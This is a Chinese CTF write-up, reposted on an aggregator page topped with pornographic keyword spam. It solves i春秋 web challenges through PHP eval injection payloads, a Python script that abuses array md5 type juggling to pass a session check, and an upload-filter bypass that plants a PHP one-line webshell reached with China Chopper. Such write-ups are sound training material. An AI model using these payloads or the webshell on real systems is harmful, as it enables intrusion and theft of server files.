日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

I春秋——web Write up(一)

發布時間:2024/9/30 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 I春秋——web Write up(一) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:總結一下最近做的web題,從題中可以學習到很多知識。

爆破-1

<?php include "flag.php"; $a = @$_REQUEST['hello']; if(!preg_match('/^\w*$/',$a )){die('ERROR'); } eval("var_dump($$a);"); show_source(__FILE__); ?>

給了一段PHP代碼,里面還有簡單的正則表達式,那就來分析一下。

/表示的是正則表達式的開始和結束,^或\A 匹配字符串開始位置,\w匹配任意數字或字母或下劃線(a-z,A-Z,0-9,_),*匹配0次、或1次、或多次其前面的字符(相當于可以輸入多個字符、數字、或下劃線),$或者\Z匹配字符串的結束位置。所以在這里我們輸入hello可以執行

提示有說flag在某個變量中,還觀察到var_dump($$a),可以使用超全局變量$GLOBALS,直接在url中構造?hello=GLOBALS即可flag。

做題小結:這道題之所以能夠用超全局變量,就是因為輸出時又多了一個$,利用它構造一系列超全局變量,得出我們想要的信息。

$_SERVER 這種超全局變量保存關于報頭、路徑和腳本位置的信息 $_REQUEST 用于收集 HTML 表單提交的數據 $_POST 廣泛用于收集提交 method="post"HTML 表單后的表單數據。 $_GET 也可用于收集提交 HTML 表單 (method="get") 之后的表單數據

爆破-2

<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__);

提示說flag不在變量中,用$GLOBALS查看果然不在。
不在變量中,那就查flag.php文件,查到一個file_get_contents() 函數可以把整個文件讀入一個字符串中。

/?hello=file_get_contents('flag.php')


除此之外,我們還可以用另一個函數file()函數。

?hello=file('flag.php')

即可得出flag

還可以

?hello=readfile('flag.php')


做題小結:通過上面三種方法,利用三種不同的函數,都可以得出flag,下面就區分一下他們之間的區別。

file() 函數是把整個文件讀入一個數組中,然后將文件作為一個數組返回。 readfile() 函數讀取一個文件,并寫入到輸出緩沖。如果成功,該函數返回從文件中讀入的字節數。如果失敗,該函數返回 FALSE 并附帶錯誤信息。您可以通過在函數名前面添加一個 '@' 來隱藏錯誤輸出。 file_get_contents() 把整個文件讀入一個字符串中。

爆破-3

給了一串php代碼,分析一下

<?php error_reporting(0); //關閉錯誤報告 session_start(); //開啟session require('./flag.php'); //引入flag文件 if(!isset($_SESSION['nums'])){$_SESSION['nums'] = 0;$_SESSION['time'] = time();//time() 函數返回自 Unix 紀元(January 1 1970 00:00:00 GMT)起的當前時間的秒數。$_SESSION['whoami'] = 'ea'; } if($_SESSION['time']+120<time()){session_destroy();//session_destroy() 將重置 session,您將失去所有已存儲的 session 數據 } $value = $_REQUEST['value'];//$_REQUEST 用于收集 HTML 表單提交的數據 $str_rand = range('a', 'z'); $str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];//mt_rand() 使用 Mersenne Twister 算法返回隨機整數 if($_SESSION['whoami']== ($value[0].$value[1]) && substr(md5($value),5,4)==0){//a . b 并置 連接兩個字符串 "Hi" . "Ha" HiHa$_SESSION['nums']++;//substr() 函數返回字符串的一部分。//如果 start 參數是負數且 length 小于或等于 start,則 length 為 0。$_SESSION['whoami'] = $str_rands;//substr(string,start,length)echo $str_rands; } if($_SESSION['nums']>=10){echo $flag; } show_source(__FILE__); ?>

前兩個if語句簡單,重要的是如下語句

$value = $_REQUEST['value']; $str_rand = range('a', 'z'); $str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

$str_rand會從a到z中隨機取一個字母。$str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]會拼湊成兩個字母賦值給$str_rands。
然后就來觀察以下代碼

if($_SESSION['whoami']== ($value[0].$value[1]) && substr(md5($value),5,4)==0){//a . b 并置 連接兩個字符串 "Hi" . "Ha" HiHa$_SESSION['nums']++;//substr() 函數返回字符串的一部分。//如果 start 參數是負數且 length 小于或等于 start,則 length 為 0。$_SESSION['whoami'] = $str_rands;//substr(string,start,length)echo $str_rands; } if($_SESSION['nums']>=10){echo $flag; }

很明了了,因為$_SESSION['nums'] = 0,我們只需將上面的if語句循環十次(即$_SESSION['nums']++循環十次),即可得出flag。

接下來就來構造語句,一開始的$_SESSION['whoami'] = ‘ea’,因此就構造

?value[0]=e&value[1]=a

又因為每執行一次,$_SESSION['whoami']會變化而且值與$str_rands相同,并且每執行一次都會輸出$str_rands的值,因此只要按照這個順序輸入十次即可得出flag。

當然可以也可以寫一個腳本來做這道題,但是我們還漏掉了一個很重要的細節就是substr(md5($value),5,4)==0,這個有什么作用那?可以寫一個簡單的腳本來測試一下看看

以數組的形式傳入

所以剛才只要用數組進行傳參就沒有問題。

當然我們分析一下就可以知道這個條件在數組的情況下永遠為真,因為在數組的情況下是不能MD5加密的,所以肯定==0.

也可以寫一個腳本來跑出flag,恰好最近在學python,參考大佬自己也模仿寫一下

import requests url='http://8e7202f5492447d5ab76eb8b7e8b4b27838e55901eba4c5f.changame.ichunqiu.com' # 創建一個session對象 session=requests.Session() # 發送請求 html=session.get(url+'?value[]=ea').text for i in range(10):html=session.get(url+'?value[]='+ html[0:2]).text print(html)

得到flag

做題小結:web題有很多解法,但最基礎的是一定要會寫腳本,得加快進度學習python了
python中requests.session的妙用
python學習之-requests模塊基礎
requests session的作用

Upload


看到文件上傳,就想起來用一句話木馬+菜刀,那就來先構造一句話木馬。

上傳

顯示上傳成功,我們來查看一下上傳之后的php文件

把<?php給過濾了,那換一種方法,在大佬的博客上發現繞過<?限制的一句話

<script language="php">@eval_r($_POST[pass])</script>

拿來試試

發現php被過濾掉了,那就將php改為大寫PHP試試

沒有顯示,說明已經傳進去了,菜刀連接

通過源代碼可以知道上傳路徑,連接即可得出flag。

做題小結:和XSS一樣,一句話木馬也有很多繞過姿勢,有空一定要總結一下一句話各種繞過姿勢,最后附上大佬博客。
PHP一句話木馬后門
一句話木馬的套路
那些強悍的PHP一句話后門

總結

以上是生活随笔為你收集整理的I春秋——web Write up(一)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。